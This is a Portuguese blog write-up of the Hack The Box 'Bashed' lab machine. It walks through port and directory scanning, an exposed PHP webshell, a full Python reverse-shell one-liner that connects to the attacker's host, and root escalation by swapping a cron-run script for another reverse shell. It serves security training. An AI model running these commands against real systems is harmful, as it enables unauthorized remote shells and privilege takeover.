![capa_bashed](https://4futureblob.blob.core.windows.net/img/2022/09/capa_bashed-678x381.jpg)
Só salve rapaziada!
Hoje vou trazer o passo a passo para resolver a máquina Bashed do HTB.
Para resolver essa máquina são necessárias as habilidades:
- Conhecimentos Básicos em Linux
- Enumeração Web
- Escalação de Privilégio Vertical
Só vamos!
Enumeração Web
Comecei com o scaneamento de portas com nmap, onde encontrei apenas a porta 80 aberta rodando um Apache httpd 2.4.18.
No apache está rodando uma aplicação programada em PHP.
![](https://4futureblob.blob.core.windows.net/img/2022/09/bashed_img1.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img2-1024x595.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img3.png)
Ao dar uma fuçada no site, vejo que o phpbash se trata de um WebShell que roda em PHP. Porém até o momento não encontrei nenhum vetor de ataque. Então vou partir para o scan de diretórios.
Ao realizar um scanner nos diretórios com feroxbuster, coloco a opção de pesquisar por subpastas e subarquivos, e também adiciono para pesquisar por arquivos com extensões em PHP. Então encontro a url http://10.10.10.68/dev/phpbash.php que é próprio webshell, nele já consigo a primeira flag user.txt
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img4.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img5.1.png)
Agora com acesso as webshell eu tenho muitas possibilidades de exploração para a escalação do privilégio. Vou começar realizando um shell reverso para minha máquina para melhorar o meu acesso a shell.
Então primeiramente eu preparei minha máquina para receber uma conexão pela porta 1234. Depois preciso arrumar um jeito de enviar o shell da máquina alvo através da conexão com essa porta.
Tentei primeiramente enviar a shell com o nc, porém a opção -e não estava funcionando.
Outra alternativa que utilizo bastante para o shell reverso é o Python, com ele consegui enviar a shell com o comando:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.8”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Obs: Diferentes formas de realizar o shell reverso
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img6.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img7-1024x207.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img8.png)
Escalação de Privilégio
Agora vou atrás de escalar os privilégios.
Com o comando sudo- l, vejo que o usuário que estou usando tem permissão de utilizar o scriptmanager, após um pouco de pesquisa percebo que scriptmanager é um usuário do sistema que tem permissão na pasta scripts. Então tenho permissão para acessá-lo sem senha.
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img9.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img10.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img11.png)
Dentro da pasta scritps existem 2 arquivos, test.py (o qual nosso usuário scriptmanager tem permissões) e test.txt (arquivo que pertence ao root, devido isso não temos permissões nele).
Ao analisar o conteúdo do test.py, vi que é um pequeno script para gerar o arquivo test.txt com o conteúdo “testing 123!”, ou seja, o arquivo test.txt está sendo gerado através do script test.py
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img12.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img13.png)
Outro ponto muito importante para se notar, é que o arquivo test.txt está sendo gerado de minuto a minuto, o que quer dizer que o test.py está agendado no cron para executar a cada minuto. Essa é a grande sacada, porque o script rodando através do cron tem permissões de root.
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img14.png)
Dessa forma posso pensar em alguma maneira de editar esse script ao meu favor.
Primeiro eu renomeio ele de test.py para test1.py, o que faz ele parar de ser executado pelo cron
Depois disso, crio um arquivo test.py na minha máquina, com o script para um shell reverso apontando para minha máquina na porta 4321.
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img16-1024x68.png)
Preparo minha máquina para receber a conexão, abrindo a porta 4321
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img17.png)
Agora posso enviar meu arquivo test.py para a máquina alvo.
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img15.png)
Então de forma resumida, eu apenas substui o arquivo test.py para executar um shell reverso para minha máquina. Seria a mesma coisa de editar o arquivo, porém o acesso a shell reversa abre as ferramentas de edição de textos como vi ou nano bem bugado, por isso optei por enviar um novo arquivo.
Bem, dessa forma tudo que precisei fazer é aguardar o cron executar meu script e enviar a shell para mim. E assim consegui acesso privilegiado e a flag root.txt
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img18.png)
![](https://4futureblob.blob.core.windows.net/img/2022/09/bahsed_img19.png)
Seja o primeiro a comentar